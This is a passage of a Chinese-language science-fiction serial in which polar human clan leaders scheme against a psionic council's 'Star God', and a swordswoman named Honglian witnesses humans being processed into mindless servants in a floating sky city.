“可以。” “请问您是要对南极人类发动战争吗？” “我说过了，安排的是北极防卫任务，防卫！任务。其他的信息你们无权过问，三家必须尽快执行命令。” 星神说完就大步离开，天家主对走上前商议的黑家主猛摆手，让她赶紧走，贝家主跟在黑家主身后出去了，房间只剩天家主和元两个人。 她们安静的待了有2个小时，元看天家主一直捂着脸。 “主人，我们回寝宫休息吧。” “走不了了，我就住这儿了。” 她的气质似乎一下就苍老许多，看不见面容的白发，感觉像一位备受生活打击的老太太，两人又在沉默中度过了一个小时。 “今天，星神就是冲我来的，唉。你们人类在最终战争输了，关我什么事啊，唉。顶着天一样大的压力，好日子到头了吗。” “主人，我去取一些茶点来。” 门关闭后，元走在长廊里擦着泪水，她为天家主感到冤屈，人类早在2000多年前就输了，如今谁死了都是应得的报应。 门再次开启，茶香唤醒了微睡的天家主，躺在双人沙发的她，解松波浪领口，轻抖洁白的泡泡袖，探手接住了元递过来的茶杯，喝了一口茶，娇美的脸蛋恢复了一半往日的神采。 “无事，元，我早料到这些变局，只不过变化真的来临时，我有点失态了，一切还在我的掌控之中，眼下无论我站哪派，最重要的是争取时间，星神既然用了我们，就说明它也需要时间，一个字！拖！可是！贝梨那个小贱种居然直接投了，恨死我了！” “主人，我们可不可以妨碍她向博物馆都市迁民呢？” “好主意！但不能做的太狠，那贱货一定跟着星神的卫队去献媚，我说她今天怎么跟个没事人一样，搞不好早有串通，她装满黄金的无知脑瓜打破人类与灵能会的平衡啊。侍灵是人类转化的，她贝家的那100万市民就是星神的兵源。嗯，必须卡她的迁民任务，从今天开始，全市食物供应逐渐减半，你散布一些传言，就说是给贝家人口预留食物，让人们找贝家的人闹，把所有车辆装满物资，开到工业带，再每天运几个居住舱摆到郊外，你托贝比给黑家主带话，让她原地不动，自沉大部分运输船，用武力阻止南极的贝家人迁回北极，出了事我来担！嗯，月儿不会给我添麻烦的，她会做事。” 元听天家主直呼黑家主的原名，明白主人今天心情非常糟糕，就扶她坐正，享用餐车上的美食。 “主人，武器制造许可发过来了，需要复制一份，给装备研发课题组吗？” “试试吧，用处不大，灵能武器的内部机构全是灵能场约束的，我们其实只负责造个外壳。嘶，按理说，打南极这点人类不需要太多装备啊，而且我今天看星神的样貌特别眼熟。” “很像在灵能会纪念馆中的合影里的一个人。” “对，A！看A之书，A应该是个很深邃的人物，这星神更像一个工具，程序人！说话总是重复，元，你说武装天家的市民，对抗星神有多大胜算？” 元听的一愣神，就又向主人确认。 “您要退出灵能会吗？” “人这种东西，得有用处才配和对方交易，威胁也是种用处。我担心星神会甩开我，强行吃掉天家，你说一下胜算吧。” “星神方面，据说她的直属部下都在长眠，天空城周围的飞行卫队似乎归天狼星人直辖，城下就是东部山谷入口，设有侍灵指挥所，星神好像把南极忏悔院和歌剧院的副官全调往那里，山谷不断有侍灵部队往来，我为您办事去过三次指挥所，从队列人数和山谷长度计算推测大概有20000名侍灵。” 天家主放下汤匙。 “北极就这点侍灵啊。” “我们天家预计至少可以动员60万人，主要是装备和作战经验问题。” “我有侍灵标准佩刀的生产许可！我让研发组测试过刀身可以划破试作的侍灵连体衣，虽然侍灵还有灵能场防护盾。前段时间，星神让我配合量产，我找理由就给她生产了8000支合格的。这样！在博物馆都市靠北的半环建满生产线，我要日产10万把。减少对科考站的物资供应，每天运一半佩刀过去，其余的藏在博物馆都市绿化模块里。每天产2000把合格的，8000把不合格的，提交给星神。我自己持有的佩刀至少要1200万把，你让庆典部门设计一款实验性的礼炮，要能把佩刀以炮弹初速射出去，完成后把工作原理分发给古代兵器研究课题组，以后所有这个课题的市民，毕业作品要以此工作原理做实物，用射击佩刀的火力辅助近战，指挥得当的话有一战之力，就是指挥官……” “您想用红莲吗？” “嗯，啧，哼哼我的红莲小丑，怎么玩弄都有仁心啊，用了这个人？她以后还听我的吗？难办，到时候再说吧，她不行，就你我领军。我感觉谜团不出在北极，南极又什么变化了。最近孕育罐基地有大批胚胎死亡，我这会儿回忆起20多年前，冰雪女王开会时问过我一句话，好像问人口还正常吗这类的话，现在看南极似乎有了先见之明，正好我在科考站要塞有些船，立即运那的人到南极业凰科学院，混几个密探在其中，还能物理手段联络一下南极海岸机械兵团的咖啡。” 猜忌的锁链 天家人的执行力异常出色，昏暗的科考站，天桥下的港口灯火通明。 冰橇双体船和大型气垫船的船尾人流繁忙，拥挤的叉车车队载满物资从安检人员身边驶过，派往南极的人员大多垂头丧气，显得极不情愿。 船窗被白色喷漆封死，内部乘员经历了20个小时的长途等待，纷纷下船，踏上南极沿海的冰面，迎候她们的是漆黑广袤的海岸工业区。 岸边撤除了造冰机，原本朝着北极方向的无数冰刺都拆除了。 天家人员的领队与南极海岸军团交涉，身穿浑身厚重棉衣的人群缩在持续升华出冰气的冰面上。 她们盼望着前方的消息，也能看出这部分南极部队似乎装备了与岸防队服相似的轻薄御寒队服，站队极为规整，单在岸上炮台和堡垒处站立的军士大概就有五千多人。 南极方面的军官表示，虽说北极贝黑天三家与南极风千阳三家定立的和平协议并未打破，但是双方偶有冲突，需要等待御前将军玛丽安返回岸防驻地再做决定。 “你让我们在寒风中再等6个小时？” “北极人员可以回船内等待呀。” 当南极军官抬手指向船队时，所有船只已经完成掉头全速驶回了北极方向，只留下发呆的众人，天家领队上前一步，贴在军官面前，军官喝止了逼近的卫兵。 “我不管你在南极是什么职权，南极市民通过业凰科学院完成课程，要前往北极博物馆都市进行灵能进化，你们几千年来送往北极多少人了？我们天家往业凰派点普通市民怎么了？这是正常的市民往来，人员都被你们搜查过了，你们无权阻止我们进入业凰！” 军官又派了一批随从去向玛丽安请示。 “你看到了，人类只控制着海岸最西角的造船厂，向东的工业区都由灵能会奴隶院机械兵团控制，我们御前军团是爬这座家山回内陆，你们这帮娇贵的天家大小姐走的动吗?” 人们同时望向面前的山包，山体敦实看似平缓，形状如同一只雪白色的汉堡，坡度勉强足够人类行走，山腰间还有冰树组成的密林。 山顶发着淡淡白光的米色粗塔就是传闻中的家园堡，天家领队再向东看，海岸后，出现一片伸向天空的白色巨爪，这是赛博空港背靠的垂直山脉，山脉与家山之间连着一道纯黑的刚墙，墙壁隐约可见门缝，那是通往南极内陆的温泉关。 “我有天家主大人下发的灵能会临时通行标签，我们就走东边！” 军官捂嘴与参谋密谈。 “可以啊，那我们不提供车辆，你们靠步行肯定会冻死！” “你们！等我返……我会通知天家主大人，南极人以后再想灵能进化可就难喽。” “无所谓，不过，我们出于人道考虑，能提供一半车辆，稍后再派另一半追上你们。” 天家人员勉强与海岸军团达成协议后，进入了缺乏光照的工业区，打头的车队在如雨林般稠密的自动化工程机械之间绕行，通过了一个古代飞艇仓库就再也无法前进了。 “我要冻死了，天烛你快点走！” 车辆后方的人群经受不住严寒，穿着厚棉服的她们挤贴在车队后方，像一群绒白企鹅。 被队友催促的人摘下兜帽，是一位盘着精致辫发的少女，疲惫的旅途让她的刘海与鬓角分离，挡在大额头前。 她对身后的人点头就向前挤，又被前方人员怒骂，于是她张望环境，人流两侧的黑色机械似乎在制造某种步枪，每台机器上部的枪架里挂有数千支成品。 车队再次缓缓向东移动，人流周围的巨型机械挪开，取而代之的是从机械缝隙间涌出的械人偶，它们迅速填满了空间，只留出一条细细走廊让人类通行，就在此时，一位身穿黑色大衣的红发女子，飞踩人偶，大步冲向车队前方。 她跳落在一位腰佩四支剑的人偶和一个白发女子之间，打断了两人的谈话。 “我刚才听你说什么激光步枪？接入北极在线AI？” 被撞倒的白发女子爬起，怒问：“你谁啊？” “我是南极银雪女王御前军团将军玛丽安，我问你呢！咖啡！” 被玛丽安问话的机械人偶与众不同，它的面部如人类女性一样美丽，表情自然。 “这么远，您听错了。” “我顺风跑过来，听的清清楚楚。” 玛丽安勒了一下白手套，指向其他人偶手持的步枪。 “没有什么激光步枪，我们拿的是女仆打扫卫生的工具。灵能会还未解除封锁南极海岸的命令，我看在人类女王的地位，这次饶过你，玛丽安，再有人类踏足工业区，我就下令机械军团歼灭你的人类军团。另外，我正好跟天家的人类说清楚，我不可能接受天家主发送的电子协议，这违反了我与灵能会签定的最终战争——机械人偶投降协议，我是机器人，主人存在期间，我绝对忠诚。” 机械人偶军队驱逐玛丽安后，建立了一条畅通的车道，步行人员收到了第二批车辆，车队穿过雪牢关的巨门，在业凰环丘前绕行，之后直行，开进了被巨大洁白凤凰石雕环抱的业凰科学院内部。 天家人员入学后一周就熟悉了南极的传言，据说现在人类权力由风千阳三家轮流坐庄，银雪女王只当人形图章，阳家为了加强对女王的控制，安排了玛丽安守住女王近卫队长的职位，所以她25000人的小部队被升格成御前军团。这样的安排稳住了南极局势，风家不动，阳家撤到业凰南侧，千家撤回家园堡南侧驻地。 另有一个传闻也很快全体市民间传播，就是灵能会下达了贝家全族必须迁往博物馆都市的命令。 14. 章14北极：致良知 博物馆都市课题区别墅群中，有座最丑的建筑，它如同大楼倒塌形成的梯形废墟，这也使它成为最不起眼的别墅。 内部环境却别有一番天地，简洁的浅灰色地砖和棕色玻璃隔墙，最新科技家具等生活设施一应俱全。客厅内的五人各有专属房间，还自发的聚在一起商议，带红莲下楼散步。 最近六周里，四名矮个子的少女从街道花坛移植进别墅内花瓶中很多花卉，黄发少年则轻步往返于客厅和病房之间，红莲此刻请他在走廊拉一段三弦琴，舒缓的旋律伴着覆盖在花瓣上的雾水香气，让屋内仿佛穿越回自然惬意的黄金时代。 头顶向后扎着小辫子的女孩询问红莲的病情。 红莲回到都市后，就很少醒来，每14个小时才能拍醒她一次，简略的治疗过后，她又会沉睡过去，这导致她肋骨的伤势恢复很慢，天家主不断派人来别墅确认红莲的伤情，所以橡树要经常到玄关前等待搪塞来客。 前天，红莲终于有精神下床走动，在500平米的客厅内散步成了她每天必须做的事情。 她偶尔坐在面朝南的沙发上，呆呆的望向南方，有时又会从布袋掏出铁剑放在腿上。 今天，她双手握住一枚肩章，听着琴声，若有所思。 三个小女孩趴在这位一身白裙的黑发少女的腿边，她们轻声问起肩章的来历，红莲微睁着双目，意识只在沉睡的边缘徘徊，她迟缓的抬起胳膊，单指做了一个嘘的手势，笑容展露出她少有的温情。 音乐声戛然而止，橡树在二层走廊的围栏里，看到楼下的正门显示，有客到访。 他快步下楼开门，想立刻关门却被来人死死按住，这声撞击在平静舒适的客厅里传达出很强的敌意。 “是元来了吗？” 红莲的发问让门外的细语停止了，说道：“告诉元，明天4点在门外等我吧。” 满屋子的科技设备。 红莲猜测天家主对她的情况了如指掌。 现在，元来找她，说明北极的事态又恶化了。 红莲没法了解时局的细节，但事实的确如此。 先从东部开始，由于天家主找各种理由拖延，灵能会只能在天空城下建设更大的灵能进化基地，据说各城都受到援建新基地的影响。 北极中部雪原的灵能会载具工业带几乎停滞了。 北部金山堡欲迁往博物馆都市的人员只能步行下山，再穿越足以致命的寒冷旷野，到达被天家市民拥堵住的西门，贝家人就不得不再步行绕行到其他大门，等待她们的还是被人群堵塞的门厅。 研发人员减少导致博物馆都市除重要课题外的工作全部陷入停滞。 西部科考站要塞还切断了与外界的联络，有些想逃命的贝家人员徒步到西部峡谷中段时，望见漆黑一片的要塞就在绝望中死去了。 南部沿海的岸防卫队将居住区迁往各城广场，还悄无声息的把位于广场中心的友谊塔拆除后扔到了野外，并以岸防机甲为火力点，建成面向北方的防线。 身处北极的人类都在设想灵能会对上述乱局的反应，但是想要确切的知道灵能会的应对方式，只有待在天家主身边才行。 第二天。 都市上空的穹顶过度暗淡，导致全市的能见度下降，天家主的车队在丑别墅门前等待红莲，长发飘飘的她，威风依旧，只是步履比以前迟缓，有一丝从上方吹来的气流打扰到她，黑发少女向天探手，感到指尖有微妙的湿度。 “走吧，莲大小姐~夜星之主亲自来接您呢，赏个光嘛。” 天家主看这位白裙少女的气质比上次见面多了一种强烈的从容感，红莲在她对面坐好。 她笑问：“元听你家那位说，你在西北城市废墟摔伤了？” 红莲答道：“我和橡树是姐妹。” 纯白泡泡袖在红莲面前晃动，波浪白发中的迷人细眼和桃形嘴角同时做着坏笑，天家主还伸出一个小指对着红莲。 “是姐妹。您这样，元会伤心的。” “哎？” 天家主单臂枕着车座扶手，用手托捏着自己的白嫩脸蛋，身子靠住沙发角落，另一只手拉送洁白的波浪领花，屁股侧歪，银色的贴身裤，叠搭在一起。 “我想说点有人味的事情嘛！” 红莲双手搭在腹部，平静答道：“人味不止那个。” “哼。” “问题，到第几句了？” “什么，噢，小红莲还有兴趣玩A之书啊，我其实这会儿不太想聊它。” 她看天家主侧目望着车外的灰暗都市，表情逐渐凝重。 “事情从来没有人想的那么严重，却从来都超出人能做到的范围，提前面对真实吧。” “说的好，元就缺这种进步啊，那玩吧。” A之书：4，如果你想发现新世界，不要从已知中找证据。不要惧怕毁灭，所有旧事物都是牢笼。不要建立规则，所有规则都无法触及智慧。 红莲：“4，承托众人命运的贤者生命总会走到尽头，而追求永生的自利者,却与世长存。” “这是夜星沦落至此的答案吗？” 红莲没回答，而是平和的看着窗外。 “好吧，我们的信念是将一切熵减，化为纯粹，凝聚我们光星最美的东西前往宇宙，就是献给真理的礼物。” 两人各自眼神冰冷，却面带笑容，座位间的空地仿佛是两个平行世界之间的隔阂。 车队到达东门，等了半个小时，元开车门，转达了灵能会的通知，只允许天家主的专车出东门。 “元你留下，我都安排过了，你在2小时内回办公室，坐到我的位置就能自动启动预案。” 流线形的银白色悬浮专车，高速飞行在北极东部雪面上，六名侍灵跑步跟在专车四周，同步移动。 自然环境是暴雪呼啸，车内的人，立刻就从飞驰在雪原上的侍灵身上感觉到东部地区恍惚是外星地域。 “小红莲你看这些东西居然能跟上我的专车啊！” 黑发少女扶着窗框向外张望，侍灵银白色的包体衣，脚部并未与雪面接触，它们踩着某种看不见的能量场在奔行。 “那我想聊聊侍灵，您知道天狼星文明是什么样子吗？” “一百年前我就调查过了，线索很少，它们在古代是种大号乌贼，现在是驾驶水晶舰队的水母形能量团。小红莲知道我为什么带你来吗？” 她坐到天家主身边。 “因为黑家主带我去了三家会议。” “确实如此，可你不该这样想！我需要你留下来，也完全有手段让你听从我。” “我的道路，我自己做主。” 天家主仍然望着车外的雪景。 “那我就不能留你了。” “那你只会得到我的尸体。” 她猛回头，波浪白发跃动。 “我不明白，黑家主哪点比我强？” 红莲闭目，不想与她对视，因为两人脑中的世界并不相同。 “我不一定走，走了更不会背叛你，不会投奔她。天家主大人，您要走哪条路呢？” “话说到这个份上，我们就聊点别的吧，小红莲想知道什么？” “灵能会。” 天家主看着她抚平直筒白裙的双手，手部因为长期练剑变的有力却粗糙。 “我是真的就知道有A到Z，24名会员，都已经进化成最高阶段的灵能神。以下是我的推测，A已经不在这颗星球上了。” “我不明白，人类靠自己就能研发出永生技术，为什么要执着于灵能进化。” 天家主感慨红莲仍是个普通人类，不懂人身处高地位后，心态的变化。 “因为永生不等于万能啊，傻红莲！机械永生的意识受制于物体，血肉永生的意识受制于□□，只有灵能永生的潜力是无限的，成神后能真的做到随心所欲支配万物。” “你们追求的真理就是这个？” 那人类像碌碌无为的动物一样持续繁衍下去就是对的么？ 近万年来，文明成果不过是把物质的外形转换成不同形式，人类还是无毛猴子。 天家主却不想和愚昧的少女争论下去了，只有生命的基础形态发生改变，人类才会进步。 “红莲的格局太渺小了，客观看，我们光星已经赢了，A是代表了我们光星人类文明的成果前往天狼星。” 二人在车窗的反光中互相看着对方，红莲永远感激这位带她看清世界的领袖。 “道不同。” 天界的真容 窗外的光线突然变的煞白，紧接着是一瞬黑暗，又变回白幕的时候，车辆停驶了。 天家主和红莲下车，就被那六名侍灵逼迫着徒步移动。 红莲回头确认刚才的黑暗是一个正方体工程机械，再向前走就发现这种机械散布在雪原各处，有的机械出口吐出三列挂架，挂满一种耷拉着多条线束的头环，挂架倒伏雪地、 她目测头环的数量超过200万支。 有的机械出口生产衣架列车，列车长度达到近三公里，衣架是前后两片的门形结构，每个衣架上都安装着一套银色胸甲。 空旷的白雪大地上最显眼的是一种灰色巨蛋，红莲路过一个五十米远的巨蛋时闻到阵阵腥臭，气味像血腥与鱼腥的混合。巨蛋的表面同样令人恶心，流淌着一层暗银色液体，液体还涌出直径半米大的气泡，鼓大的同时气泡居然塑成人形，银色人形到颈部时，突然有了意识，四肢推着巨蛋拔出的头部竟然是一个水母！ 这些银色人形走到挂架，拿头环，从头套在脖子处，在站进衣架内部，随着机器运作声，上身安装好前后两片银甲，全新的侍灵就制造完成。 被景象震惊的红莲定睛观察，巨蛋下有一个直径四十米的黑色圆台，台侧插满透明的粗管，每条粗管连着一辆4米多高12米长的履带卡车，车头部分是一个玻璃半球，半球表面中心连着那根粗管，球体后面连着车厢，很像垃圾车车厢。 以巨蛋为中心的基地分布在整个东部雪原，红莲数了一下，有60个巨蛋基地，再往前走，看到更加恐怖的物体，雪中有一个三层楼高的巨型生物。 它下半身是很多条的黑色蜘蛛腿，黑亮如同装甲的巨腿盘在雪里，也像极了死去的蜘蛛。 红莲推测这生物站起来后，下身的高度就有200米。 生物的上半身是一个巨人，黑甲从与蜘蛛身体相连的膝盖位置开始向上延伸，模拟成半包大腿的黑袜，上身的黑甲包裹成黑色泳装款式，胸前的白色丝绸和头发都像浓密蛛丝，如蜘蛛口器的犄角下有着完美的三角脸型，四对闭着眼皮也证明了它不是人类，被黑甲包覆的小臂低垂着说明它陷入了沉睡，屁股延伸出八条半透明节肢向天空展开一张长达两公里的能量蛛网。巨人身后生出一颗银色巨蛋。 一种类人型的猫耳机器人纷纷爬上蜘蛛身体将巨蛋掰了下来，蜘蛛上体的伤口处血浆停喷后又鼓起一个银色巨蛋。 猫耳机器人将巨蛋安装在黑色圆台上就形成了一个新的基地核心。 不停有垃圾车样式的履带半球头卡车行驶到巨大蜘蛛身边，猫耳机器人将黑色立方体工程机械的管线连接到车头，半球车头顿时发出刺眼的光芒，工程机械入口就爬出一个个全新的猫耳机器人。 它们用酷似管线的尾巴尖的细针刺入巨蛋吸着银色液体，再爬向远方东部峡谷口，山谷上方停着多艘灵能飞艇，原来灵能会把飞艇都移到这里拆解，飞艇下方排满了白色的巨蛋。 天家主还很贴心的递给红莲一个望远镜，她看到猫耳机器人的尾巴在一块块正方形铁片上注射银液，红莲认识这种铁片，就是生长金属，铁片马上鼓起一个白色缓缓变大的气泡。东部峡谷两侧的山壁内，左侧冰封了一对巨人双腿，右侧是从山顶垂入冰内的一条巨型蜈蚣。 冰块内部冻着一个骸骨人。 红莲再看峡谷深处，有一张大帆布遮住了峡谷。 天家主得意洋洋的说：“这些工程机械都是我提供的。” 红莲又细看那蜘蛛上身的巨人脸，眼睛闭合。 它实在太恐怖了，任何人类都生怕它会醒来。 “你不是说，天狼星人都是乌贼吗？怎么有个这么恶心的蜘蛛在下蛋，这怪物醒来比博物馆都市的大厦都高！” “别这么说，它曾经也是人类。地上的一切都属于人类的恶趣味。” “人类？” 天家主看出黑发少女眼中的疑惑，她接过望远镜。 “嗯，它原本就吊在天空城底下，你们离的太远，看不清它，星神最近把它弄下来了，根据元偶然听到的情报，它叫贾巴福菲，是星神直辖的灵修院十八徒之一。生前好像是Z的女朋友之一。” 红莲跟随天家主的视线，也望向头上的天空城，只见城底部生长着一只直径达1万平方公里的巨大眼球，冻云包裹着的白色巩膜中心，金黄瞳孔还反着白光，眼球周围套着两圈刻有铭文的石环。 天空城周围，飞着近万只人形物体，像围绕白花的蜂群。 二人等了不久，四只人形物体抬着一个水晶舱，它们高速下坠后又贴雪面冲刺，激起涛涛雪浪。 四个人形物体在距离红莲20米处急停升空，它们的外观像白色的轻型机甲，背部有推力装置，脸部是一张人面，头上安装着一对刀形天线，能看到手臂里面中空，伸出一条能量束拉着水晶舱。 红莲和天家主乘入舱内，视野随舱体缓缓抬升，飞过舱外的白色机体近在咫尺。 被这些飞行物体保护的天空城，结构像一个巨大的王冠，每个冠尖是一座的巨型立柱，柱底的弧形坡口处，偶尔飞驰出新的白色机体。 还可以看见王冠中心，是一个圆形广场，有一台白色金边的巨型星象仪。 水晶舱缓缓下降，来到天空城正门的露台，大门两边的金色高塔成圆柱形，底部开口每隔两分钟就走出一个3米多高的手持黄金镰刀的蒙面卫士，它们确认完天家主身份。 正当二人迟疑着，慢慢靠近纯白大门时，门缓缓退开，身披白色大衣的星神站在花朵雕塑下，它指了一个方向，就走过去了。 “小红莲在会议室外面随意逛逛吧，黑贝两位家主稍后就到了，人类难得来一次天空城，你的身份是我的随从，它们不会把你怎么样的。” 天家主说完，就快步跟随星神走过的方向，由此可见，她非常熟悉这里。 红莲面对这个新颖的环境一时不知所措。 天空城内铺着灰色花纹的巨型白砖，数不清的螺旋形高塔和弧边三角形建筑分布在城里，面前的天蓝色花形雕塑散发着迷人的香气，香味令人意乱神迷，红莲不禁面色红润。 她忍不住用手轻轻摸了一下雕塑，居然是真花的手感，还同时看到了花朵上蹲着一个人形生物，白色的全身露着鲜红色的主血管，有着近似人体的四肢和躯干，背部和头部长着飞蛾翅膀模样的肉翼。 红莲歪头看看它的面容，鼻子以上的部分被白肉包裹，它似乎也陷入了长眠。 她绕过大型花朵，往前漫步，发现城内没有任何生物生活过的痕迹，建筑普遍没有门窗，天空城更像一座军工厂，生产着白色机体和镰刀卫士。 平坦广阔的城中广场被一些酷似孕育罐的透明圆筒圈出一片圆形空地，地中心漂浮着那台巨型星象仪，它的主体是一个通体圆润且边缘锋利的庞大圆环，下方都有三个黑色巨球和三根陀螺头巨针。 一股红莲难以理解的混乱感觉向她袭来，她不由自主的摆好攻击架势，却看到天体仪上方可见点点星光，星光逐渐汇成光柱，天体仪从天空中接收着什么能量。 紧接着，天体仪下方的凹坑里，出现巨大的能量水母，水母口器喷出的一条条巨粗管线狂躁舞动，它好像在蚕食着那些来自空中的星光能量。 这物体弥散的强烈杀气令红莲不由自主的发动了绝命剑。 她才发现手中无剑，于是跑向天家主走过的方向，杀气却顿时消失。 红莲立刻平静下来，面前的建筑像岸防连城主城区的白石大厅，多根石柱顶着三角形石顶，顶部的招牌位置卡着一个怪物，它有着人类健壮躯干，四肢处长着四根巨大盘羊角，羊角正好卡住屋顶的三边，在它下方的白石空隙处写着灵能会历史纪念馆。 红莲确认这个无头怪物只是个标本后，就走进大厅，厅内主色调为棕色，地毯上摆放着锁死的木制书柜和展柜，最先引起她注意的是展柜内的一张合影。 彩色照片的色调泛黄，纸张折旧，可以推测摄影的日期非常古老，展柜的科技尽力保存着这张照片，参与拍照的人类排成前后两队，一共24个人，其中16名老人坐在轮椅上，穿着病号服的老人奄奄一息，穿正装的老人面前都挂着吊瓶。站着的人也有男有女，相貌与气质都十分出色，24人中心的一名女性神态坚定且自信。 此后的展柜依次介绍这24名人类的身份，第一个写着A之书的展柜，玻璃被打破了，红莲从玻璃利落的圆形断纹判断，这是元所为，天家主持有的A之书就来自这里。 第二个展柜很大，摆满了各种学术奖杯奖牌书籍，红莲简要阅读这些文字，猜测这位B是某大型医药公司的学者。 第三个展柜内的物品年代较新，都是旧型号的民用信息板，从板身标识的总商会字样，能了解到C来自这个组织。 第四个展柜很奇特，摆满了各种比赛奖牌和合影，照片中的帅气男子与那24人合影居中站位的女子关系极好，两人动作亲密，红莲注意到展柜角落处还放着两枚戒指。 之后的展柜有石油工业，军工，食品，金融等古代文明各领域的物品，红莲不再过多研究，她直奔写有Z展柜的位置，远远就看到展柜中只有一根银白色的羽毛。 “你在干什么！” 红莲顷刻转身，确认说话声的来源，发现有人立在大厅外的空中。 那人就那样保持立姿不动，平移进了厅内，红莲细看她是一个身材娇好的女子，粉嫩皮肤镶嵌的白色软性装甲充当着衣物，灰色双马尾后别着一个X形刀锋天线，清秀的脸上眼皮闭合，种种反常现象向红莲阐明这浮空少女也不是人类。 “闲逛。” “闲逛？我是灵能会——灵修院十八徒首席——神代灵女，让我查看你的身份标签！” 闭目的浮空少女等待红莲出示信息面板。 “天家主的随从？这次的三家会议不允许带随从！我就反感星神大人只按计划办事的程序思维！我必须驱逐你！” 灵女随手生成一个能量气泡，包裹红莲全身。 它用手掌吸附气泡，带出城门外，又随手一甩。 红莲面对广袤雪原，高速下坠，她即将摔死前，能量气泡在雪面砸出一朵花形雪浪，再次弹起，这样一连弹过三次，将她摔进雪里。 在红莲的身旁，就有一位冻死的贝家人员。 夜幕中，漫天白沙旋流的暴风雪，带来的严寒驱使红莲剥下尸体的棉服，她现在位于博物馆都市东部偏北的雪白荒野，以她的体能足以走回东门。 遥不可及的北方山脉与白雾连成一体，在气势磅礴的寒冰自然中蜿蜒行驶来三队车流，最近的一辆车在红莲身后停下，与冰雪风暴浑然一体的行人像即将饿死的乞丐们，狼狈的爬抢在那垃圾车箱后方，维持秩序的侍灵卫队将贝家人员驱赶成一排并强迫她们脱掉棉衣。 红莲稍作观察，戴好兜帽，踏着没膝的雪地，继续向西步行，背后感到一种凄厉无比的痛苦，她起初以为自己被未知东西攻击了，受了重伤。 她顺着那攻击方向挺胸并踉跄滚下雪坡，身体滑停那一刻，她马上摸索后背却发现没有任何异常，而那剧痛感又从前方传来， 红莲战胜恐惧感，爬上坡顶，摘下兜帽，迎风站立，要尽可能感知刚才那片车队营地。 十几辆履带式垃圾车的车厢开着，身穿白裙的黄发女子们挤靠成一列列纵队，她们每进入一人，半球玻璃车头就剧烈闪光一次，同时车厢激发起常人难以感知的灵魂哀嚎。 那是灵魂被撕裂的，希望被愚弄的，乐趣被剥夺的，痛苦被压缩再膨胀的极度凄苦尖叫。 百米开外的红莲能从这一声声哀叫中听出她们意识被车内装置压碎前发出的一些痴言妄语，她还感到一团团向往美好人生的思念情绪以车厢为中心弥散，再被汹涌的暴风带走。 排队的人类丝毫没察觉，进入车厢的人发出了凄绝至极的嚎叫，只有红莲忍受着弥漫在雪原的痛苦感，艰难的走近她们。 她与一个黄发少女同时注意到了彼此，这名少女曾给橡树三张乐谱，两人带着东南西北走遍实习区的大街小巷，如今她表情满怀前往新世界的信心，身影消失在车厢内。 此情此景触怒了红莲，直刻灵魂的痛感还侵蚀她的全身，谁也无法阻止合情合理的灵能进化，被悲愤与剧痛叠加攻击的红莲，跟随一辆垃圾车靠近银色巨蛋基地群。 无数半球车头，发出明亮刺眼的光照，侍灵在车头半球中心接好透明粗管，一只只能量水母就从粗管游向恶臭的巨大银蛋，蛋体鼓起的无数气泡，塑形成一个个水母头的银衣侍灵。 泪水被寒风吹拂，黑色长发后飘成一线晶莹星光，红莲痴狂的奔往博物馆都市东门，逃离这个充斥荒诞欲望的是非之地。 虚弱的谈判 身处天空城的三位家主继续导演着是非。 星神表情严厉，身披白色军大衣再配上办公桌后的棕色椅子高靠背更显它的威严。 它松开经常握军刀的手，双小臂立在桌面上，十指交错在嘴前，怒视着坐在沙发的三人。 “对，福祉进化，我们灵能会为人类殚精竭虑，考虑到夜星自然环境日趋恶劣和南极动荡的安全形势，特意放宽了灵能进化的条件。鉴于北极人类坚定的向往灵能进化，准许所有北极人类无条件灵能进化，把三家的人类集中在博物馆都市就是为了这次计划，我们将其命名为福祉进化计划。” “那么，如果有人不愿参与灵能进化呢？” “黑家主凭什么断定别人的欲望？所有人类早在2000多年前的第三次千年进化会议就同意灵能进化了，我们对于心理层次不合格和不配合的人类赐予最低等的进化方式——侍灵级。对于做出过杰出贡献的人类，比如贝黑天三位家主，赐予自主者级，给你们保留自我意识，这是莫大的荣誉。” “按你的意思是说大多数人类将不再有自我？” 黑家主说着，就如一头狂暴狮子，拍座站起，她满头的蓬散黑色长发似乎都随怒气竖起。 星神面不改色，说道：“当然了，我们一直以来都是这么做的。你要知道，你们人类大脑中的意识能量才几微克，需要集中几十万人脑中的能量才能形成一个单独存在的能量生命体——自主者。” 星神说完向身后推开椅子，抖落大衣，露出洁白军服。 它稳步走到贝家主身边坐好，轻抬手臂，在它掌心出现一束光，光缓缓变成杯型，最终变成一个茶杯攥在它手中。 星神喝了一口茶，继续讲解。 “同理，需要几百万人类脑中的能量才可以进化成为近似造物主的能量生命体，这就是造物者的能力，能随心所欲的创造物质，因为物质不过是能量的一种形式而已。当然了，造物者本身具备的意识能量太少，所以只能驱动有限的自然界能量，更高的进化层级需要几亿人类脑中的意识能，进化成最终阶段灵能神明，就可以驱动宇宙中一切能量为自己所用。” 说者有心，听者有意，天家主马上挪屁股，坐近星神。 “星神大人刚才展示的就是造物者的能力吗？这太神奇了，就是我一直向往的自己啊。” “不可以。” 星神扬起鼻梁，转动精美的脸，面向黑家主，两人继续对峙。 “我们灵能会的灵能神还需要剩余人类的意识能量，才决定帮助你们，能分意识能量给你们三个人类成为自主者，已经是灵能会莫大的宽容了。” 黑家主忍无可忍直指星神。 “什么！我把人送过来就是给你们当饲料的？” 吓的天家主慌忙跨步，越过茶几，挡在黑家主和星神之间，并努力解释。 “是灵魂进化！哈哈，你误会了，意识与神明合一也是灵能进化啊，单个意识的能量不够维持物理形态，星神解释过了，你误会了，不要说了。” 黑家主眼含泪光，放下了手。 她眼中的温柔与暴力不停的切换，泪自由的流动着，咬牙的嘴角放了松，松了咬，只能止不住的颤动着，看了星神，它如程序，脸上自然是理所当然的平静，看了一眼利益的奴隶贝家主在低头修指甲，黑家主最后只能悲哀的看着天家主。 “我，我，我的！我！”黑家主狠命的咬着嘴唇，喜欢说：“我的孩子们啊！她们每个人身经百战！满怀希望！满怀希望啊！吃了多少苦？冒了多少险才幸存下来啊？你们说！灵魂进化是前往美好世界的……结果是变成神明的养分吗！” 天家主双手使劲推黑家主到门口。 “说法一直都没变，你不太关心灵魂进化论，理解错了。” “呵呵！一直？”黑家主冷笑着继续说：“你一直都知道吗！别这样天弧姐，你家有近百万人口！我们不能把人类断绝在这！绝对不能！” “咳！” 星神捂嘴，咳了一下说道：“我看黑家主大人的意识好像远没到灵能进化的要求啊！我现在甚至怀疑黑家全体都不达标，都用起旧姓名了，太污秽了，需要清理。” 听到清理这两字，黑家主怒目圆睁，张口要说，却被天家主死命捂住。 